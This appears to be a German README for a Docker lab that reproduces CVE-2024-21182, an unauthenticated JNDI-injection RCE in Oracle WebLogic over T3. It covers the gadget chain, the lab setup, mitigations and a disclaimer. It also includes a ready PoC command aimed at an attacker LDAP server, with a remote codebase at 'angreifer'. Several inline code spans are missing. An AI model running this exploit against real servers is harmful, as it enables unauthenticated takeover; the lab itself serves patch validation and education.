
Reproduzierbares Docker-Lab für CVE-2024-21182 — Oracle WebLogic T3/IIOP OpaqueReference JNDI-Einschleusung → nicht authentifizierte RCE (CVE-2023-21839 Patch-Umgehungs-Familie). Ein-Befehl validate.sh.
Ein eigenständiges, One-Command-Docker-Lab zur Reproduktion und Validierung der
Oracle WebLogic Server OpaqueReference-JNDI-Injections-Schwachstellenfamilie
(CVE-2024-21182, eine Patch-Umgehung von CVE-2023-21839) und deren Umsetzung in
nicht authentifizierte Remotecodeausführung (RCE).
⚠️ Nur für autorisierte Sicherheitsforschung, Bildung und Patch-Validierung. Siehe HAFTUNGSAUSSCHLUSS. Führen Sie es nur gegen dieses Lab oder Systeme aus, die Ihnen gehören.
CVE-2024-21182 ist eine nicht authentifizierte Schwachstelle in der Core-Komponente
von Oracle WebLogic Server, die über die T3/IIOP-Protokolle (Standard-Port 7001) erreichbar ist.
Sie erlaubt einem Angreifer, ein präpariertes "Reference"-Objekt in den JNDI-Baum des Servers zu binden
und eine serverseitige JNDI-Abfrage gegen eine vom Angreifer kontrollierte URL auszulösen —
klassische JNDI-Injection, die zu RCE eskaliert.
| CVE | CVE-2024-21182 |
| Produkt | Oracle WebLogic Server (Core) |
| Betroffen (laut Oracle) | 12.2.1.4.0, 14.1.1.0.0 |
| Behoben in | Oracle Oktober 2024 Critical Patch Update |
| Angriffsvektor | Netzwerk, nicht authentifiziert, T3/IIOP (Port 7001) |
| CISA KEV | Ja (bekannte Ausnutzung in freier Wildbahn) |
| Klasse | Patch-Umgehung von CVE-2023-21839 (OpaqueReference JNDI-Injection) |
Ein WebLogic-Reference-Objekt wird während lookup() serverseitig von einer
ObjectFactory aufgelöst, die eine verschachtelte JNDI-Abfrage gegen eine vom Angreifer bereitgestellte
URL durchführt:
weblogic.jndi.internal.WLContextImpl.lookup
→ javax.naming.spi.NamingManager.getObjectInstance
→ weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
→ weblogic.application.naming.MessageDestinationReference.lookupMessageDestination (Zeile 62)
→ new InitialContext().lookup( ldap://angreifer/… ) ← vom Angreifer kontrolliert, serverseitig
CVE-2023-21839 erreichte dies über weblogic.jndi.internal.ForeignOpaqueReference,
das Oracle dann absicherte. CVE-2024-21182 umgeht diese Absicherung, indem es die
gleiche ausländische Abfrage über
weblogic.ejb.container.internal.AggregatableOpaqueReference erreicht, dessen privates
referent-Feld reflektiv auf eine
weblogic.application.naming.MessageDestinationReference gesetzt wird.
Dieses Lab verwendet vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, gebündeltes
JDK 1.8.0_151), da es das einzige frei weiterverbreitbare anfällige WebLogic-Image ist — die
Versionen, die CVE-2024-21182 offiziell auflistet (12.2.1.4.0 / 14.1.1.0.0), erfordern eine
Oracle-Lizenz und können hier nicht veröffentlicht werden.
Ehrlich gesagte Konsequenzen:
OpaqueReference-JNDI-Injection → RCE-Schwachstellenklasse,
die mit den genauen CVE-2024-21182-Gadget-Klassen ausgeführt wird
(AggregatableOpaqueReference + MessageDestinationReference).com.sun.jndi.ldap.object.trustURLCodebase=true (Remote-Codebase-Klassenladung). Auf modernen
JDKs feuert die Injection immer noch (SSRF), aber RCE erfordert ein Gadget, das bereits im
WebLogic-Klasspfad ist, anstatt einer Remote-Codebase.Voraussetzungen: Docker + Docker Compose v2. ~3 GB Image-Pull. Auf Apple Silicon läuft das
Image unter linux/amd64-Emulation (langsamerer Kaltstart, 2–5 Min.).
git clone <dieses-repo>
cd CVE-2024-21182-lab
docker compose up -d # startet: weblogic (:7001) + angreifer (LDAP/HTTP)
./validate.sh # wartet auf Boot, feuert Exploit, gibt PASS/FAIL aus
Erwartetes Ende von ./validate.sh:
[+] RCE CONFIRMED — Befehl im WebLogic-Container ausgeführt als:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduziert (nicht authentifizierte T3-JNDI-Injection -> RCE)
Abbau:
docker compose down
t3://weblogic:7001 ldap://angreifer:1389/Evil
PoC-Client ───────────────────────► WebLogic ──────────────────────────────► angreifer (LDAP)
(in weblogic bind() + lookup() (Opfer) serverseitige JNDI-Abfrage gibt Reference zurück
container) {javaCodeBase=http://angreifer:8888/}
│ │
└────────── GET /Exploit.class ◄─────────────┘ (HTTP-Codebase)
lädt + instanziiert → static{} führt `id` aus
poc/CVE_2024_21182.java — der T3-Client. Erstellt das bösartige
AggregatableOpaqueReference, bind()et es, dann lookup() zur Auslösung der
serverseitigen Auflösung. Parametrisiert: <t3-host:port> <ldap-url>. Es wird
innerhalb des WebLogic-Containers von validate.sh kompiliert, da die Gadget-Klassen
im vollständigen WebLogic-Modulsatz leben (nicht im weiterverbreitbaren Thin-Client), sodass
hier keine Oracle-Jars mitgeliefert werden.exploit/ldap_server.py — minimaler bösartiger LDAP-Server, der eine JNDI
Reference zurückgibt, plus ein HTTP-Server, der die Factory-Klasse hostet. Läuft im
angreifer-Container, vom WebLogic aus über den Dienstnamen angreifer erreichbar.exploit/Exploit.java / Exploit.class — die Payload-Factory (Java 8 Bytecode).
Ihr statischer Initialisierer führt / aus und schreibt die Ausgabe
nach im Opfer. Harmlos von Natur aus — bearbeiten Sie
es und führen Sie aus, um den Befehl zu ändern.Die ClassCastException (Exploit cannot be cast to ObjectFactory), die Sie sehen werden,
ist erwartet und kosmetisch — sie tritt nach dem bereits ausgeführten statischen Initialisierer
(dem Payload) auf.
Richten Sie den PoC an jeden T3-Endpunkt, den Sie zu testen autorisiert sind:
# von einem Host mit dem WebLogic Thin-Client aus oder passen Sie validate.sh an:
java -cp ".:wlthint3client.jar" CVE_2024_21182 ZIEL:7001 ldap://IHR_LDAP:1389/Evil
trustURLCodebase=false; Sie haben immer noch SSRF, und RCE ist möglicherweise über ein
Classpath-Gadget möglich.weblogic.security.net.ConnectionFilterImpl) und Host-Firewalls ein.com.sun.jndi.ldap.object.trustURLCodebase=false (Standard auf aktuellen
JDKs); unterbricht das Remote-Codebase-RCE-Bein (nicht das Injection-Bein).bind von *OpaqueReference-Typen.k4it0k1d/CVE-2024-21182weblogic/CVE-2023-21839)OpaqueReference-Familie)Dieses Projekt wird für autorisierte Sicherheitstests, defensive Validierung und Bildung veröffentlicht.
Die anfällige Software läuft in einem isolierten Docker-Lab. Verwenden Sie diese Techniken nicht gegen
Systeme, die Ihnen nicht gehören oder für die Sie nicht ausdrücklich autorisiert sind zu testen. Die Autoren
übernehmen keine Haftung für Missbrauch. Siehe LICENSE.
iduname -a/tmp/RCE_PROOF_CVE_2024_21182exploit/build.sh